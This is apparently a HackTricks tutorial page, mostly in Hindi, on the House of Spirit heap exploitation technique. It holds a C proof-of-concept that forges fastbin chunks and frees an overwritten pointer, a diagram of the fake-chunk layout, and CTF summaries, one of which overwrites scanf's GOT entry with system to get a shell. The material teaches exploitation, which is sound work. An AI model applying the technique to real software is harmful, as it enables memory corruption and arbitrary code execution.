House of Spirit
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
घर की आत्मा ```c #include #include #include #include
// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit
struct fast_chunk { size_t prev_size; size_t size; struct fast_chunk *fd; struct fast_chunk *bk; char buf[0x20]; // chunk falls in fastbin size range };
int main() { struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory void *ptr, *victim;
ptr = malloc(0x30);
printf("Original alloc address: %p\n", ptr); printf("Main fake chunk:%p\n", &fake_chunks[0]); printf("Second fake chunk for size: %p\n", &fake_chunks[1]);
// Passes size check of "free(): invalid size" fake_chunks[0].size = sizeof(struct fast_chunk);
// Passes "free(): invalid next size (fast)" fake_chunks[1].size = sizeof(struct fast_chunk);
// Attacker overwrites a pointer that is about to be 'freed' // Point to .fd as it's the start of the content of the chunk ptr = (void *)&fake_chunks[0].fd;
free(ptr);
victim = malloc(0x30); printf("Victim: %p\n", victim);
return 0; }
</details>
### लक्ष्य
* tcache / fast bin में एक पता जोड़ने में सक्षम होना ताकि बाद में इसे आवंटित किया जा सके
### आवश्यकताएँ
* इस हमले के लिए एक हमलावर को कुछ नकली तेज टुकड़े बनाने में सक्षम होना चाहिए जो इसके आकार के मान को सही ढंग से इंगित करते हैं और फिर पहले नकली टुकड़े को मुक्त करने में सक्षम होना चाहिए ताकि यह बिन में जा सके।
### हमला
* नकली टुकड़े बनाएं जो सुरक्षा जांचों को बायपास करते हैं: आपको मूल रूप से 2 नकली टुकड़े बनाने की आवश्यकता होगी जो सही स्थानों पर सही आकार को इंगित करते हैं
* किसी तरह पहले नकली टुकड़े को मुक्त करने का प्रबंधन करें ताकि यह तेज या tcache बिन में जा सके और फिर इसे उस पते को ओवरराइट करने के लिए आवंटित किया जा सके
**कोड** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house\_of\_spirit/house\_spirit\_exp/index.html) **हमले को समझने के लिए बहुत अच्छा है।** हालांकि, कोड से यह स्कीमा इसे काफी अच्छी तरह से संक्षेपित करता है:
```c
/*
this will be the structure of our two fake chunks:
assuming that you compiled it for x64
+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content | 0x00 |
+-------+---------------------+------+
for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
*/ध्यान दें कि कुछ सैनीटी चेक को बायपास करने के लिए दूसरे चंक का निर्माण करना आवश्यक है।
Libc infoleak: एक ओवरफ्लो के माध्यम से, एक पॉइंटर को GOT पते की ओर इंगित करने के लिए बदलना संभव है ताकि CTF की पढ़ाई क्रिया के माध्यम से libc पता लीक किया जा सके।
House of Spirit: "राइफल्स" की संख्या को गिनने वाले काउंटर का दुरुपयोग करते हुए, पहले नकली चंक का एक नकली आकार उत्पन्न करना संभव है, फिर "संदेश" का दुरुपयोग करते हुए, एक चंक का दूसरा आकार नकली करना संभव है और अंततः एक ओवरफ्लो का दुरुपयोग करते हुए, एक पॉइंटर को बदलना संभव है जिसे मुक्त किया जाने वाला है ताकि हमारा पहला नकली चंक मुक्त हो जाए। फिर, हम इसे आवंटित कर सकते हैं और इसके अंदर "संदेश" संग्रहीत होने का पता होगा। फिर, इसे GOT तालिका के अंदर scanf प्रविष्टि की ओर इंगित करना संभव है, ताकि हम इसे सिस्टम के पते के साथ ओवरराइट कर सकें।
अगली बार जब scanf को कॉल किया जाता है, तो हम इनपुट "/bin/sh" भेज सकते हैं और एक शेल प्राप्त कर सकते हैं।
Glibc leak: अनइनीशियलाइज्ड स्टैक बफर।
House of Spirit: हम हीप पॉइंटर्स के एक वैश्विक ऐरे के पहले इंडेक्स को संशोधित कर सकते हैं। एकल बाइट संशोधन के साथ, हम एक मान्य चंक के अंदर एक नकली चंक पर free का उपयोग करते हैं, ताकि हम फिर से आवंटित करने के बाद ओवरलैपिंग चंक्स की स्थिति प्राप्त कर सकें। इसके साथ, एक साधारण Tcache पॉइज़निंग हमला काम करता है ताकि एक मनमाना लिखने की प्राइमिटिव प्राप्त की जा सके।
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE) GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
